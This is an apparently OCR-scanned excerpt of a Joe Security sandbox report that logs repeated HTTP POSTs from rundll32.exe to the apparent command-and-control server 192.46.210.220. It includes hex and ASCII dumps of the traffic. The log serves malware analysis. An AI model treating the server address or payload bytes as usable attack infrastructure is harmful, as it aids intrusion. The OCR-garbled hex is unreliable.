98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c
a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:29 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 02:59:30 UTC 224

2021-10-28 02:59:30 UTC 229

Session ID Source IP

46 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:34 UTC 229

2021-10-28 02:59:34 UTC 229

2021-10-28 02:59:35 UTC 239

Session ID Source IP

47 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:35 UTC 234

2021-10-28 02:59:35 UTC 234

2021-10-28 02:59:35 UTC 239

Session ID Source IP

48 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:38 UTC 239

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49982

Direction

ouT

ouT

Source Port
49985

Direction
ouT

ouT

Source Port
49998

Direction

ouT

Data

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1la
49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 ¢5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiIALmS#Qf$Z: [>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:30 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec 5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 €9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢
a8 38b1948efc27018900f27871a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"1>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:35 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c¢8 63 97 5d 23 fa 2a 14 6f de d4 la
4998 d0 cd 3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:35 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 02:59:38 UTC 239

2021-10-28 02:59:39 UTC 249

Session ID Source IP

49 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:38 UTC 244

2021-10-28 02:59:38 UTC 244

2021-10-28 02:59:39 UTC 249

Session ID Source IP

5 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:11 UTC 24

2021-10-28 02:58:11 UTC 25

2021-10-28 02:58:11 UTC 29

Session ID Source IP

50 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:42 UTC 249

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49999

Direction

ouT

ouT

Source Port
49773

Direction
ouT

ouT

Source Port
50008

Direction

ouT

Data

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd 9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8¢ 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec €5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢
a8 38 b1 94 8e fc 27 0189 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(iIMFVz @*mRk7k7;Sg Arl]>pL2LeTc]#*ol+$.{5:lhkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"1>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:39 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
0556 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a
49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 ¢5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be 7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a838 b1 94 8efc27018900f27871a6 14 7a

Data Ascii: f\V?LsBRfoH(iIMFVz @*mRk7kV;Sg Arl]>pL2LeTc]#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:39 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP  Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 la a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a
4998 d0 cd 3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:11 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 02:59:42 UTC 249

2021-10-28 02:59:43 UTC 259

Session ID Source IP

51 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:42 UTC 254

2021-10-28 02:59:42 UTC 254

2021-10-28 02:59:43 UTC 259

Session ID Source IP

52 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:46 UTC 259

2021-10-28 02:59:46 UTC 259

2021-10-28 02:59:47 UTC 269

Session ID Source IP

53 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:46 UTC 264

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

50009

Direction

ouT

ouT

Source Port
50016

Direction
ouT

ouT

Source Port
50017

Direction

ouT

Data

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd 9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8¢ 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec €5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢
a8 38 b1 94 8e fc 27 0189 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(iIMFVz @*mRk7k7;Sg Arl]>pL2LeTc]#*ol+$.{5:lhkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"1>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:43 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
0556 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a
49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 ¢5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be 7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a838 b1 94 8efc27018900f27871a6 14 7a

Data Ascii: f\V?LsBRfoH(iIMFVz @*mRk7kV;Sg Arl]>pL2LeTc]#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:43 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 ¢9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a 7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 c¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c
a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:46 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 02:59:46 UTC 264

2021-10-28 02:59:47 UTC 269

Session ID Source IP

54 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:50 UTC 269

2021-10-28 02:59:50 UTC 269

2021-10-28 02:59:50 UTC 279

Session ID Source IP

55 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:50 UTC 274

2021-10-28 02:59:50 UTC 274

2021-10-28 02:59:51 UTC 279

Session ID Source IP

56 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:54 UTC 279

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

50025

Direction

ouT

ouT

Source Port
50024

Direction
ouT

ouT

Source Port
50032

Direction

ouT

Data

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 la
49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 ¢5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiIALmS#Qf$Z: [>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:47 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec 5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f ch 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢
a8 38b1948efc27018900f27871a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"1>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:50 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c¢8 63 97 5d 23 fa 2a 14 6f de d4 la
4998 d0 cd 3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:50 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 02:59:54 UTC 279

2021-10-28 02:59:54 UTC 289

Session ID Source IP

57 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:54 UTC 284

2021-10-28 02:59:54 UTC 284

2021-10-28 02:59:54 UTC 289

Session ID Source IP

58 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:57 UTC 289

2021-10-28 02:59:57 UTC 289

2021-10-28 02:59:58 UTC 299

Session ID Source IP

59 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:58 UTC 294

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

50033

Direction

ouT

ouT

Source Port
50052

Direction
ouT

ouT

Source Port
50053

Direction

ouT

Data

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1la
49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 ¢5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiIALmS#Qf$Z: [>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:54 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8¢ 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec 5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 €9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
